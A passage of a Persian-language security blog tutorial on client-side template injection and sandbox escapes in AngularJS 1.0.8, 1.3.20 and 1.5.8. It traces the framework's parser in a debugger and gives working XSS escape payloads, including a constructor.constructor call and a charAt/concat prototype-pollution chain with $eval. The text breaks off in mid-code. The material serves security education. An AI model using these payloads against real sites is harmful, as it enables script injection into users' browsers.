۰۶۲۴۹ ۳۶۸ ۰۲۶
[email protected]
Unk9vvN
  • راهکارها
    • شبیه سازی تهاجمی
    • عملیات تدافعی
    • شکارچی باگ
  • خدمات
    • تست نفوذ و ارزیابی امنیتی
    • تیم قرمز و مهندسی اجتماعی
    • امنیت سیستم های کنترل صنعتی
    • جرم شناسی دیجیتال و پاسخ به حادثه
    • تیم آبی و دفاع سایبری
    • بازبینی امنیتی و کشف آسیب پذیری
  • دوره ها
    • تست نفوذ
      • وب
      • موبایل
      • فضای ابری
      • شبکه
      • شبکه بی سیم
      • اینترنت اشیاء
    • تیم قرمز
    • امنیت صنعتی
    • جرم شناسی دیجیتال
    • تیم آبی
    • بازبینی امنیتی
  • منابع
    • وبلاگ ما
    • وبینار ها
    • تایید گواهی
  • درباره ما
  • تماس با ما
  • حساب من
  • فارسی
    • English
محصول به سبد خرید شما افزوده شد.

تزریق کد قالب سمت کاربر به AngularJS

نوشته شده در 12 اردیبهشت 1400
بدون دیدگاه

یک فریمورک جاوا اسکریپت سمت کاربر به نام AngularJS داریم که برای توسعه نرم افزارهای تحت وب تک صفحه ای به کار می رود. قابلیت تغییر زنده مقادیر داخل صفحه و اجرای کد های جاوا اسکریپت، احتمال وجود آسیب پذیری های سمت کاربر مثل XSS و Client-Side Template Injection را در این فریمورک زیاد می کند. برای درک چگونگی ایجاد این آسیب پذیری ها در نسخه های مختلف AngularJS، ابتدا بهتر است کمی با این فریمورک آشنا شویم.

فهرست محتوا پنهان
1 معرفی AngularJS
2 AngularJS Scope
3 AngularJS Sandbox
4 تمایز بین این آسیب پذیری ‎ها
5 محیط آزمایش
5.1 چگونگی تست آسیب پذیر Client Side Template Injection
6 AngularJS 1.0.8 Sandbox Escape
6.1 کامپایلر AngularJS
6.2 تحلیل پویا
7 AngularJS 1.3.20 Sandbox Escape
8 AngularJS 1.5.8 Sandbox Escape
9 پیشگیری از این آسیب پذیری ها
10 نکات حفاظت در برابر XSS در AngularJS
11 منابع

معرفی AngularJS

طرز کار کلی این فریمورک به شکل زیر است.

AngularJS Scope
AngularJS Scope
در شکل مشاهده می کنید که در هنگام استفاده از قالب AngularJS به صورت ضمنی یک Scope تعریف می شود.

در داخل صفحه html، هر جا که ویژگی ng-app به یک تگ داده شود، تمام محتوای آن تگ توسط AngularJS تجزیه و تحلیل می شود و در صورت لزوم تغییراتی اعمال می شود. داخل تگی با ویژگی ng-app می توان از علائم مربوط به قالب AngularJS استفاده کرد (علامت های {{}}). هر چیزی که درون {{}} قرار گیرد، AngularJS آن را به عنوان کد اجرایی یا نام متغیر در نظر می گیرد. توابع و دستوراتی از زبان جاوا اسکریپت با محدودیت هایی قابل اجرا هستند و متغیر ها و توابع تعریف شده در Scope برنامه قابل فراخوانی هستند. مثال از سایت W3Schools:

<!DOCTYPE html>
<html lang="en-US">
<body>
<div ng-app="">

Name : <input type="text" ng-model="name">
<h1>Hello {{name}}</h1>
</div>
</body>
</html>

AngularJS Scope

این فریمورک پس از دیدن تگی با ویژگی ng-app، به صورت ضمنی یک Scope برای آن تعریف می کند. هر متغیر، model، تابع یا … که درون این ng-app تعریف شوند، در همین Scope ریخته می شوند. در نتیجه؛ اولا فضای نامی جداگانه برای هر app تعریف می شود، ثانیا دسترسی به خارج از این فضای نام محدود می شود.

AngularJS Sandbox

در نسخه های قبل از AngularJS 1.6 نوعی Sandbox طراحی شده بود که دسترسی برنامه نویس محیط جاوا اسکریپت را محدود می کرد. از آنجایی که هیچ یک از Patch های نسخه های قبلی، از دور زدن Sandbox جلوگیری نکردند، سیاست توسعه دهندگان AngularJS تغییر کرد و این Sandbox را حذف کردند. در حال حاضر تنها کاربرد Scope، ایجاد فضای نام های جداگانه است و دسترسی به سطوح بالاتر، به عنوان یک حفره امنیتی از جانب فریمورک شناخته نمی شود. پس این برنامه نویس است که باید به این نکته توجه کند و اجازه ندهد CSTI اتفاق بیفتد.

ما در این مقاله، آسیب پذیری های کشف شده از Sandbox فریمورک AngularJS را که در نسخه های قبلی وجود داشت، بررسی می کنیم. هرچند دیگر Sandboxی وجود ندارد، اما تحلیل این آسیب پذیری ها و مکانیزم های امنیتی اعمال شده برای جلوگیری از آن ها، دانش و تجربه ای ارزشمند برای کشف آسیب پذیری در فریمورک ها و سایت های دیگر به دست می دهد.

زبان JavaScript به دلیل معماری Prototype-Based، ذاتا امکان دسترسی به اشیاء دیگر زبان را فراهم می کند که از آسیب پذیری آن با عنوان Prototype Pollution یاد می شود. در Sandbox طراحی شده در AngularJS، تلاش توسعه دهندگان بر این بود که به نحوی این قابلیت زبان جاوا اسکریپت را خنثی کنند که قابلیت های مدنظرشان در فریمورک تحت تاثیر قرار نگیرد. اما با وجود پیاده سازی مکانیزم های پیچیده، موفق به این کار نشدند. نهایتا پیشگیری از این نوع آسیب پذیری ها به برنامه نویسانی که از AngularJS استفاده می کنند واگذار شد. در پایان، نکات جلوگیری از این آسیب پذیری که باید توسط برنامه نویسان AngularJS مورد توجه قرار گیرد، شرح داده شده است.

در ادامه به بررسی آسیب پذیری CSTI ،Sandbox Escape و XSS روی نسخه های مختلف AngularJS میپردازیم.

تمایز بین این آسیب پذیری ‎ها

قبل از شروع بررسی خود آسیب پذیری ها، بهتر است تمایز بین Sandbox Escape، CSTI و XSS را شرح دهیم. البته این نکات در اصل متن تاثیری ندارد و تنها برای بهبود ادبیات تخصصی متن مطرح شده است.

در AngularJS، اگر ورودی کاربر، مستقیما (بدون هیچ گونه پاکسازی یا فیلتری) در محتوای تگی با ویژگی ng-app استفاده شود، صفحه مورد نظر دارای آسیب پذیری CSTI است. این آسیب پذیری به خودی خود ارزشی ندارد. اگر بتوان از این آسیب پذیری به اجرای کد جاوا اسکریپت سمت کاربر و در نتیجه آن XSS رسید، ارزشمند می شود. در نتیجه فریمورک AngularJS برای جلوگیری از اجرای کد، مکانیزمی به اسم Sandbox ارائه کرد که در صورت وقوع CSTI، امکان اجرای کد مهیا نشود. اما محققان امنیت وب، هر بار موفق به فرار از سندباکس (Sandbox Escape) و در نتیجه به دست آوردن XSS شدند. در راه فرار از سندباکس از مفاهیم Prototype-Based Programming استفاده شده است که در مواردی به دلیل ضعف در پیاده سازی سندباکس، تکنیک Prototype Pollution منجر به فرار می شود.

محیط آزمایش

برای بررسی دقیق آسیب پذیری های زیر، محیط آزمایشی ای طراحی شده است که می توانید آن را از این لینک دانلود کنید. این محیط شامل Back-Endی به زبان PHP است که ورودی کاربر را گرفته و بدون فیلتر و پاکسازی کافی در صفحه وارد می کند. از قضا، محلی که ورودی بر آن تاثیر می گذارد، داخل تگی با ویژگی ng-app است. در نتیجه این آزمایشگاه به CSTI آسیب پذیر است.

در نتیجه این آسیب پذیری، محققان امنیت سایبری توانسته اند روشی برای اجرای کد جاوا اسکریپت پیدا کنند که در ادامه به بررسی این روش ها در نسخه های مختلف AngularJS می پردازیم. قابل ذکر است که برای بررسی روند اجرای کد های جاوا اسکریپت، کد غیرفشرده AngularJS از اینجا دانلود شده است و در نقاط کلیدی کد از دستور debugger برای ایجاد breakpoint استفاده شده است.

چگونگی تست آسیب پذیر Client Side Template Injection

ما در تمام توضیحات پایین، این تست را در اولین قدم انجام می دهیم؛ زیرا بدون این آسیب پذیری، انجام بقیه مراحل غیرممکن است. برای تست این آسیب پذیری، می توان از کد های template فریمورک مورد نظر (در اینجا AngularJS) استفاده کرد. مثلا ما در اینجا {{1+1}} را وارد می کنیم. اگر نتیجه خروجی 2 باشد، یعنی این صفحه به CSTI آسیب پذیری است.

روش تست آسیب پذیری CSTI
تست آسیب پذیری Client Side Template Injection
نتیجه یک نمونه تست آسیب پذیری CSTI که بر روی محیط آزمایشی این مطلب انجام شده است را در تصویر مشاهده می کنید.

AngularJS 1.0.8 Sandbox Escape

ابتدا نقطه شروع کد را شناسایی می کنیم. با جستجوی رشته ng-app (که در مورد آن توضیح دادم) به نقطه شروع می رسیم. این رشته تنها در تابع angularInit قرار دارد. با یافتن فراخوانی های این تابع، به این اطمینان می رسیم که نقطه ابتدایی، همین تابع است؛ زیرا تنها یک فراخوانی در انتهای کد وجود دارد. پس اولین debugger را در ابتدای این تابع قرار می دهیم و شروع می کنیم به بررسی قدم به قدم کد. در زیر بخشی از ابتدا و بخشی از انتهای تعریف این تابع را می بینید:

function angularInit(element, bootstrap) {
  debugger;
  var elements = [element],
      appElement,
      module,
      names = ['ng:app', 'ng-app', 'x-ng-app', 'data-ng-app'],
      NG_APP_CLASS_REGEXP = /\sng[:\-]app(:\s*([\w\d_]+);?)?\s/;
  // ...
  // some code
  // ...
  if (appElement) {
    bootstrap(appElement, module ? [module] : []);
  }
}

محل فراخوانی این تابع:

jqLite(document).ready(function() {
  angularInit(document, bootstrap);
});

تا فراخوانی تابع bootstrap، اتفاق چندان مهمی نمی افتد. پس تابع بعدی ای که باید مورد بررسی قرار گیرد، این تابع است. برای بررسی روند اجرای کد، ورودی {{1+1}} را در فرم جستجو وارد می کنیم و روی دکمه Search کلیک می کنیم. با استفاده از دیباگر (Debugger) مرورگر، روند اجرای کد را دنبال می کنیم. در تابع bootstrap به فراخوانی تابع doBootstrap می رسیم. این تابع درون bootstrap به این شکل تعریف شده است: (چند دستور debugger برای بررسی روند اجرای برنامه اضافه کرده ام.)

var doBootstrap = function() {
  debugger;
  element = jqLite(element);
  modules = modules || [];
  modules.unshift(['$provide', function($provide) {
    $provide.value('$rootElement', element);
  }]);
  modules.unshift('ng');
  var injector = createInjector(modules);
  injector.invoke(['$rootScope', '$rootElement', '$compile', '$injector',
      function(scope, element, compile, injector) {
      debugger;
      scope.$apply(function() {
        element.data('$injector', injector);
        compile(element)(scope);
      });
    }]
  );
  return injector;
};

با دیباگر تا خط فراخوانی تابع compile پیش می رویم. در کنسول (Console) دیباگر کد تابع compile را بررسی می کنیم (با compile.toString()). اینجا محل فراخوانی این تابع است:

scope.$apply(function() {
  element.data('$injector', injector);
  compile(element)(scope);
});

این تابع، اینطور آغاز می شود:

function compile($compileNodes, transcludeFn, maxPriority) {
  debugger;
  if (!($compileNodes instanceof jqLite)) {
    // jquery always rewraps, whereas we need to preserve the original selector so that we can modify it.
    $compileNodes = jqLite($compileNodes);
  }

با جستجوی این کد در کل فایل، به تابع مورد نظر می رسیم. این تابع با نام compile در فایل تعریف شده است. از اینجا به بعد برای درک دقیق چگونگی طرز کار کامپایلر AngularJS نیاز به تحلیل های دقیق و طولانی است که از موضوع این مطلب خارج است. در نتیجه خلاصه ای از نتیجه بررسی عملکرد آن را در زیر میبینیم (توضیحات بیشتر در مورد کامپایلر AngularJS در اینجا).

کامپایلر AngularJS

تابع compile نقطه ابتدایی بررسی ویژگی های شروع شونده با ng- و کد های درون {{}} است که تمام Node های HTML را بررسی می کند و به دنبال کد های AngularJS می گردد. اگر کد مربوط به AngularJS را پیدا کند، آن را به تابع parser برای تجزیه و تحلیل می فرستد. در اولین مراحل این تابع، تابع دیگری با نام lex فراخوانی می شود. خروجی این تابع آرایه ای از توکن (Token) هاست که با روش Lexical Analysis به دست می آید. این تابع به تجزیه کردن اجزای کد می پردازد و کد را بر اساس قواعد زبان جاوا اسکریپت Tokenize می کند. این کد تابع lex است، بدون توابع داخلی تعریف شده در آن (کد کامل را از فایل محیط آزمایشگاهی مشاهده کنید):

function lex(text, csp){
  debugger;
  var tokens = [],
      token,
      index = 0,
      json = [],
      ch,
      lastCh = ':'; // can start regexp

  while (index < text.length) {
    ch = text.charAt(index);
    if (is('"\'')) {
      readString(ch);
    } else if (isNumber(ch) || is('.') && isNumber(peek())) {
      readNumber();
    } else if (isIdent(ch)) {
      readIdent();
      // identifiers can only be if the preceding char was a { or ,
      if (was('{,') && json[0]=='{' &&
         (token=tokens[tokens.length-1])) {
        token.json = token.text.indexOf('.') == -1;
      }
    } else if (is('(){}[].,;:')) {
      tokens.push({
        index:index,
        text:ch,
        json:(was(':[,') && is('{[')) || is('}]:,')
      });
      if (is('{[')) json.unshift(ch);
      if (is('}]')) json.shift();
      index++;
    } else if (isWhitespace(ch)) {
      index++;
      continue;
    } else {
      var ch2 = ch + peek(),
          fn = OPERATORS[ch],
          fn2 = OPERATORS[ch2];
      if (fn2) {
        tokens.push({index:index, text:ch2, fn:fn2});
        index += 2;
      } else if (fn) {
        tokens.push({index:index, text:ch, fn:fn, json: was('[,:') && is('+-')});
        index += 1;
      } else {
        throwError("Unexpected next character ", index, index+1);
      }
    }
    lastCh = ch;
  }
  debugger;
  return tokens;

مثلا در کد زیر که بخشی از lex است، در صورتی که شرط تابع isNumber برقرار باشد (یعنی تکه کد مورد بررسی یک عدد باشد)، تابع readNumber فراخوانی می شود که توکن عدد را به لیست توکن ها اضافه می کند (محتوای تابع readNumber را می توانید خودتان بررسی کنید):

else if (isNumber(ch) || is('.') && isNumber(peek())) {
      readNumber();

در پایان تابع readNumber، یک توکن به این شکل به لیست توکن ها اضافه می شود:

tokens.push({index:start, text:number, json:true,
      fn:function() {return number;}});

هر توکنی که اضافه می شود چنین ساختاری دارد:

{
	index: index,
	text: ch,
	fn: fn
}
  • index: محل شروع رشته مربوط به توکن را در رشته اصلی مشخص می کند.
  • ch: رشته توکن را ذخیره می کند.
  • fn: تابع getter که وظیفه گرفتن مقدار متناظر کد، عدد، رشته یا … را در کد AngularJS دارد.

قسمتی که برای ما جذابیت دارد، همان fn است. برای درک بهتر این تابع، ابتدا مثال حالتی را بررسی می کنیم که توکن موردنظر یک عدد است (isNumber مقدار true بر می گرداند). به انتهای تابع readNumber دقت کنید:

tokens.push({index:start, text:number, json:true,
  fn:function() {return number;}});

در این مثال، تابع fn فقط number را بر می گرداند که در اصل مقدار parseInt شده همان عدد است. اما در مورد متغیر ها، توابع و دیگر اشیاء جاوا اسکریپت که مقادیر غیرثابت دارند، قضیه متفاوت است و کد fn به این سادگی نیست.

تابع lex با استفاده از تابع isIdnet، متغیرها، توابع و دیگر اشیاء جاوا اسکریپت را شناسایی می کند و با readIdent، توکن مربوط به آن ها را می سازد که شامل تابع نسبتا پیچیده fn برای گرفتن مقدار آن هاست. پس باید به بررسی تابع readIdent بپردازیم. کد زیر از این تابع، fn را مقداردهی می کند:

var getter = getterFn(ident, csp);
token.fn = extend(function(self, locals) {
  return (getter(self, locals));
}, {
  assign: function(self, value) {
    return setter(self, ident, value);
  }
});

می بینیم که یک تابع دیگر به اسم getterFn از روی رشته ident که می تواند نام هر متغیر، تابع یا شیء جاوا اسکریپت باشد، مقدار getter را می سازد. با کمک دیباگر می توانیم به این نتیجه برسیم که getter همان چیزی است که نهایتا در fn فراخوانی می شود.

محتوای تابع getter
محتوای تابع getter
با گذاشتن breakpoint در انتهای تابع getterFn و ادامه اجرای برنامه به صورت قدم به قدم، به نقطه ای که در تصویر می بینید رسیدم. در اینجا می بینید که تابع نهایی که در توکن ذخیره می شود، از همان getter استفاده می کند که بالاتر توسط getterFn ساخته شده است.

هر چند تحلیل ایستا تابع getterFn خالی از لطف نیست، اما ما به تحلیل پویای آن بسنده می کنیم. پس چند مقدار را در فرم جستجو وارد می کنیم و نتیجه این تابع را می بینیم. برای این کار کافی است بعد از خط فراخوانی getterFn یک breakpoint بگذاریم و پس از وارد کردن ورودی و برخورد به breakpoint مقدار getter.toString() را چک کنیم تا کد تولید شده برای تابع getter را ببینیم.

متن تابع getter
متن تابع getter
با گذاشتن breakpoint در کد و رسیدن به بخش تولید تابع اجرایی مربوط به Token، می توانیم کد تولید شده نهایی را مشاهده کنیم.

تحلیل پویا

این بار مقدار {{objectA.propertyA}} را وارد می کنیم و کد زیر تولید می شود: (می دانیم که s همان scope و k همان locals است)

var l, fn, p;
if(s === null || s === undefined) return s;
l=s;
s=((k&&k.hasOwnProperty("objectA"))?k:s)["objectA"];
if (s && s.then) {
 if (!("$$v" in s)) {
 p=s;
 p.$$v = undefined;
 p.then(function(v) {p.$$v=v;});
}
 s=s.$$v
}
if(s === null || s === undefined) return s;
l=s;
s=s["propertyA"];
if (s && s.then) {
 if (!("$$v" in s)) {
 p=s;
 p.$$v = undefined;
 p.then(function(v) {p.$$v=v;});
}
 s=s.$$v
}
return s;

مشخص است که به ازای هر نقطه (.)، یک عمل dereference انجام می شود و هر بار برای به دست آوردن property از شیء قبلی استفاده می شود. اولین شیئی که property از آن استخراج می شود k && k.hasOwnProperty("objectA") ? k : s است. با توجه به این که k متغیر locals است، و s همان scope، می توان دریافت که این تکه کد ابتدا سعی می کند شیء مورد نظر را در متغیر های locals پیدا کند و در صورت پیدا نکردن به سراغ scope می رود. برای بررسی دقیق تر این موضوع و روند اجرای کد تولید شده توسط getterFn بهتر است درون کد تولید شده از دستور debugger استفاده کنیم تا هر وقت AngularJS خواست آن را اجرا کند، بتوانیم مقادیر موجود مثل s، k و … را دنبال کنیم. اولین قسمت کد تولید شده توسط تابع getterFn به شکل زیر نوشته شده است، که ما قبل از var کد debugger; را اضافه می کنیم.

var code = 'debugger;var l, fn, p;\n';
forEach(pathKeys, function(key, index) {
  code += 'if(s === null || s === undefined) return s;\n' +
          'l=s;\n' +
          's='+ (index
                  // we simply dereference 's' on any .dot notation
                  ? 's'
                  // but if we are first then we check locals first, and if so read it first
                  : '((k&&k.hasOwnProperty("' key '"))?k:s)') '["' key '"]' ';\n' 
          'if (s && s.then) {\n' +
            ' if (!("$$v" in s)) {\n' 
              ' p=s;\n' +
              ' p.$$v = undefined;\n' +
              ' p.then(function(v) {p.$$v=v;});\n' +
              '}\n' +
            ' s=s.$$v\n' +
          '}\n';
});
code += 'return s;';

پس از بارگذاری دوباره صفحه به breakpoint میرسیم. می توانید مقادیر s و k را در تصویر زیر مشاهده کنید. همان طور که میبینید، k برابر undefined است. پس برنامه از s شیء objectA را میگیرد.

دیباگ تابع getter
دیباگ تابع getter
در تصویر می بینید که با قراردادن دستور debugger درون کد ایجاد شده توسط getterFn، می توانیم مقادیر متغیر ها را به سادگی در هنگام اجرا دنبال کنیم.

حال فرض کنید ما به جای تلاش برای گرفتن یک شیء معمول در scope یا locals برنامه، property خاص __proto__ یا constructor را بگیریم که در زبان جاوا اسکریپت معنی مشخصی دارند. (برای به دست آوردن اطلاعات بیشتر در این زمینه می توانید مباحث مربوط به Javascript Prototype Pollution را مطالعه کنید.)

مقادیر خاص constructor و prototype
مقادیر خاص constructor و prototype
با رسیدن به دستور debugger درون فایل تولید شده توسط getterFn می توانیم مقدار متغیر ها را مشاهده کنیم.

با ادامه دادن روند دسترسی به constructor می توانیم به تابع Function در جاوا اسکریپت برسیم. این تابع به ما امکان اجرای کد های جاوا اسکریپت را به طور مستقیم می دهد. پس چون فیلتری روی نام متغیر ها، توابع و دیگر اشیاء جاوا اسکریپت که قرار است از scope برنامه خوانده شوند، وجود ندارد؛ ما می توانیم در ساختار اشیاء Prototype-Based زبان جاوا اسکریپت به تابع Function برسیم. تابع Function مسئولیت تعریف توابع در زبان جاوا اسکریپت را بر عهده دارد که به ما اجازه تعریف تابعی جدید را می دهد. برای تعریف تابع با استفاده از تابع Function باید کد جاوا اسکریپت را به صورت یک String به آرگومان آن پاس داد. در نتیجه ورودی ای که منجر به اجرای کد جاوا اسکریپت می شود {{ constructor.constructor("alert(1)")() }} است که می توان به جای alert هر کد دیگری از زبان جاوا اسکریپت که لازم است را وارد کرد و ادامه ماجرا … 😈

نتیجه فرار از Sandbox در AngularJS 1.0.8
نتیجه فرار از Sandbox در AngularJS 1.0.8

AngularJS 1.3.20 Sandbox Escape

با بررسی توابع مهمی که در قسمت قبل پیدا کردیم، متوجه می شویم که تا حد زیادی ساختار کد، همان چیزی است که قبلا بود. پس مستقیم به سراغ قسمت تولید کد، یعنی تابع getterFn می رویم. مشابه دفعه قبل، در ابتدای کد تولید شده از دستور debugger استفاده می کنیم.

var code = 'debugger;';
if (expensiveChecks) {
  code += 's = eso(s, fe);\nl = eso(l, fe);\n';
}
var needsEnsureSafeObject = expensiveChecks;
forEach(pathKeys, function(key, index) {
  ensureSafeMemberName(key, fullExp);
  var lookupJs = (index
                  // we simply dereference 's' on any .dot notation
                  ? 's'
                  // but if we are first then we check locals first, and if so read it first
                  : '((l&&l.hasOwnProperty("' + key + '"))?l:s)') + '.' + key;
  if (expensiveChecks || isPossiblyDangerousMemberName(key)) {
    lookupJs = 'eso(' + lookupJs + ', fe)';
    needsEnsureSafeObject = true;
  }
  code += 'if(s == null) return undefined;\n' +
          's=' + lookupJs + ';\n';
});
code += 'return s;';

حال که می توانیم کد تولید شده توسط کامپیالر AngularJS را بررسی کنیم، نتایج ورودی های مختلف را بررسی می کنیم. با ورودی {{unk9vvn}} نتیجه زیر به دست می آید:

if(s == null) return undefined;
s=((l&&l.hasOwnProperty("unk9vvn"))?l:s).unk9vvn;
return s;

مشابه دفعه قبلی s همان scope و l همان locals است. تا اینجا به نظر هیچ تغییری به غیر از تغییر اسم متغیر l وجود ندارد! 🤔 این بار ورودی {{constructor}} را امتحان می کنیم:

if(s == null) return undefined;
s=eso(((l&&l.hasOwnProperty("constructor"))?l:s).constructor, fe);
return s;

به نظر تغییرات قابل توجهی اتفاق افتاد! تابع eso و متغیر fe موارد جدیدی هستند که باید بررسی شوند. با کنسول دیباگر مقادیر را بررسی می کنیم. fe چیزی نیست جز رشته "constructor"، که اینجا، همان ورودی ماست. اما eso تابعی است که در کد فریمورک با نام ensureSafeObject تعریف شده است. با نگاهی به این تابع متوجه می شویم که بخش اصلی ای که قرار است جلوی دسترسی به اشیاء خطرناک مثل constructor و window را بگیرد، همین تابع است.

function ensureSafeObject(obj, fullExpression) {
  // nifty check if obj is Function that is fast and works across iframes and other contexts
  if (obj) {
    if (obj.constructor === obj) {
      throw $parseMinErr('isecfn',
          'Referencing Function in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// isWindow(obj)
        obj.window === obj) {
      throw $parseMinErr('isecwindow',
          'Referencing the Window in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// isElement(obj)
        obj.children && (obj.nodeName ||  (obj.prop && obj.attr && obj.find))) {
      throw $parseMinErr('isecdom',
          'Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    } else if (// block Object so that we can't get hold of dangerous Object.* methods
        obj === Object) {
      throw $parseMinErr('isecobj',
          'Referencing Object in Angular expressions is disallowed! Expression: {0}',
          fullExpression);
    }
  }
  return obj;
}

وقتی با استفاده از دیباگر و ورودی قبلی این تابع را دنبال کردم، متوجه شدم ورودی {{constructor}} به عنوان ورودی خطرناک شناسایی نمی شود. پس بهتر است ورودی موثر در نسخه قبل، یعنی {{constructor.constructor("alert(12)")()}} را نیز بررسی کنیم. ورودی آخر باعث true شدن شرط obj.constructor === obj می شود. این یعنی دسترسی به constructor به طور کامل بسته نشده است و فقط نمی توان به شیء Function دسترسی پیدا کرد (در ورودی آخر با دوباره استفاده از constructor به شیء Function می رسیم که در این نسخه چنین امکانی از ما سلب شده است).

می دانیم که constructor شیء Function در زبان جاوا اسکریپت، خود Function است.

پروتو تایپ توابع جاوا اسکریپت
پروتو تایپ توابع جاوا اسکریپت

پس ما می توانیم به کمک constructor به اشیاء دیگری مثل Array و String دسترسی پیدا کنیم. مثلا با وارد کرد {{'a'.constructor}} به String زبان جاوا اسکریپت می رسیم که به ما کمک می کند ویژگی prototype را اصلاح کنیم و ساختار String را به شکلی که می خواهیم تغییر دهیم. اما این چه کمکی به ما می کند؟

قبل از این در مورد بخشی به اسم lexer صحبت کردیم که در اولین مرحله کامپایل کد، با کمک روش Lexical Analysis، می تواند بخش های مختلف کد را به صورت توکن-توکن شده تجزیه و تحلیل کند. در این نسخه از AngularJS به دلیل تغییر ساختار کد تابع مربوط به lexer کمی تغییر کرده است. اما کلیت آن همان چیزی است که بود. این تابع الان با نام lex در شیئی به نام Lexer تعریف شده است که بخشی از کد آن را در اینجا می بینیم:

while (this.index < this.text.length) {
  var ch = this.text.charAt(this.index);
  if (ch === '"' || ch === "'") {
    this.readString(ch);
  } else if (this.isNumber(ch) || ch === '.' && this.isNumber(this.peek())) {
    this.readNumber();
  } else if (this.isIdent(ch)) {
    this.readIdent();
  }

چنین شرط هایی، به صورت ادامه دار، در این تابع تعریف شده اند که وظیفه شناسایی توکن های مختلف کد را بر عهده دارند. اما همان طور که مشاهده می کنید، رشته (String) ورودی با کمک تابع charAt، به صورت کاراکتر به کاراکتر، بررسی می شود. charAt تابعی است که در prototype شیء String تعریف شده است. همان طور که توضیح دادیم، ما به این بخش دسترسی داریم؛ یعنی می توانیم تابع charAt را دستکاری کنیم. و این نکته به ما کمک می کند تابع lex را به اشتباه بیندازیم. این اشتباه باعث می شود توکن های کد به درستی شناسایی نشوند و بخشی از کد که شامل کاراکتر های خطرناکی مثل .، () و … است به طور مستقیم در کد تولید شده نهایی مورد استفاده قرار گیرد و این یعنی اجرای مستقیم دستور های زبان جاوا اسکریپت که هدف نهایی ماست.

با این اوصاف، charAt را به concat تغییر می دهیم. کافی است مقدار {{'a'.constructor.prototype.charAt = 'b'.concat}} را به عنوان ورودی، وارد کنید و پس از بارگزاری کامل صفحه در کنسول جاوا اسکریپت، از تابع charAt یک نمونه رشته استفاده کنید. مثلا:

تابع charAt بعد آلود شدن
تابع charAt بعد آلود شدن
همان طور که در تصویر می بینید، بعد از اجرای Payload ما، تابع charAt که در زبان جاوا اسکریپت، یک کاراکتر در نقطه ای خاص از رشته را بر میگرداند، عملکردی تابع concat را پیدا کرده است.

می بینید که توانستیم تابع مورد نظر را آلوده کنیم. اما برای سوء استفاده این آلودگی باید یک بار دیگر کامپایلر AngularJS را صدا بزنیم و ورودی مخرب خود را اجرا کنیم. برای این کار می توانیم از تابع $eval استفاده کنیم. این تابع برای AngularJS مثل eval برای جاوا اسکریپت است و کد های مربوط به AngularJS را اجرا می کند که باعث فراخوانی کامپایلر آن می شود. در نتیجه ورودی نهایی خود را که {{'a'.constructor.prototype.charAt = 'b'.concat;$eval('x=alert(1)');}} باشد، وارد می کنیم. کافی است نتیجه این ورودی را ببینید. کد ما اجرا شده و alert نمایش داده می شود.

نتیجه فرار از Sandbox در AngularJS 1.3.20
نتیجه فرار از Sandbox در AngularJS 1.3.20

اما چرا x=alert(1) اجرا می شود؟ برای پاسخ به این سوال، breakpoint هایی که در تابع getterFn وارد کرده بودیم را دوباره فعال می کنیم تا بتوانیم کد تولید شده را مشاهده کنیم. دوبار از این تابع استفاده می شود. نتیجه بار اول برای ما چندان مهم نیست. اما نتیجه بار دوم همان چیزی است که علت اجرای کد قبلی را توضیح می دهد:

if(s == null) return undefined;
s=((l&&l.hasOwnProperty("x=alert(1)"))?l:s).x=alert(1);
return s;

می بینید که تمام ورودی تابع $eval به عنوان ویژگی ای از scope شناسایی شده است و برنامه تمام رشته x=alert(1) را پس از نقطه (.) قرار داده است. این یعنی ورودی ما بدون هیچ گونه فیلتری توسط موتور جاوا اسکریپت اجرا می شود.

نکته: بخش x= را تنها به این دلیل وارد کردیم که syntax صحیح زبان جاوا اسکریپت حفظ شود.

AngularJS 1.5.8 Sandbox Escape

با توجه به تجربه ای که از دو نسخه قبلی به دست آورده ایم، می دانیم که کد ایجاد شده توسط کامپایلر نهایتا توسط شیء Function زبان جاوا اسکریپت به کدی قابل اجرا تبدیل می شود. پس با جستجوی new Function می توانیم به راحتی به قسمتی از کد فریمورک برسیم که نتیجه کامپایلر AngularJS در آنجا قرار دارد.

var fn = (new Function('$filter',
        'ensureSafeMemberName',
        'ensureSafeObject',
        'ensureSafeFunction',
        'getStringValue',
        'ensureSafeAssignContext',
        'ifDefined',
        'plus',
        'text',
        fnString))(
          this.$filter,
          ensureSafeMemberName,
          ensureSafeObject,
          ensureSafeFunction,
          getStringValue,
          ensureSafeAssignContext,
          ifDefined,
          plusFn,
          expression);
    debugger;

قسمت مورد نظر ما در prototype شیء ASTCompiler، درون تابعی به اسم compile، استفاده شده است:

ASTCompiler.prototype = {
  compile: function(expression, expensiveChecks) {

درون این تابع، بعد از تعریف fn، یک دستور debugger قرار می دهیم و کد های ایجاد شده توسط کامپایلر جدید، با ورودی های مختلف را بررسی می کنیم. ابتدا با ورودی {{unk9vvn}} شروع می کنیم و نتیجه زیر به دست می آید (کد زیر مرتب شده کد اصلی است):

function(s, l, a, i) {
    var v5, v6 = l && ('unk9vvn' in l);
    if(!(v6)) {
        if(s) {
            v5 = s.unk9vvn;
        }
    } else {
        v5 = l.unk9vvn;
    }
    return v5;
}

به نظر هیچ مکانیزم امنیتی ای فعال نشده است. این بار از ورودی نسبتا خطرناک {{constructor}} استفاده می کنیم:

function(s, l, a, i) {
    var v5, v6 = l && ('constructor' in l);
    if(!(v6)) {
        if(s) {
            v5 = s.constructor;
        }
    } else {
        v5 = l.constructor;
    }
    ensureSafeObject(v5, text);
    return v5;
}

تا اینجا فرقی، جز فرق ظاهری، با قسمت قبل وجود ندارد. دقیقا مشابه نسخه قبلی ابتدا سعی می شود که از scope مقدار مورد نظر فراخوانی شود. اگر نبود از locals و از آنجایی که نام constructor، خطرناک است از تابع ensureSafeObject استفاده می شود. از آنجایی که تابع ensureSafeObject هم تغییری نکرده است، شاید بتوانیم از روش قبلی استفاده کنیم. برای این کار ابتدا از قسمت اول payload، یعنی {{'a'.constructor.prototype='b'.concat}}، استفاده می کنیم. در نتیجه این کار کد زیر ایجاد می شود:

'use strict';
var fn = function (s, l, a, i) {
  var v0,
  v1,
  v2,
  v3,
  v4;
  v3 = 'a';
  if (v3 != null) {
    ensureSafeAssignContext(v3, text);
    if (!(v3.constructor)) {
      v3.constructor = {
      };
    }
    v1 = ensureSafeObject(v3.constructor, text);
  } else {
    v1 = undefined;
  }
  if (v1 != null) {
    v2 = v1.prototype;
  } else {
    v2 = undefined;
  }
  if (v1 != null) {
    v4 = 'b';
    if (v4 != null) {
      v0 = v4.concat;
    } else {
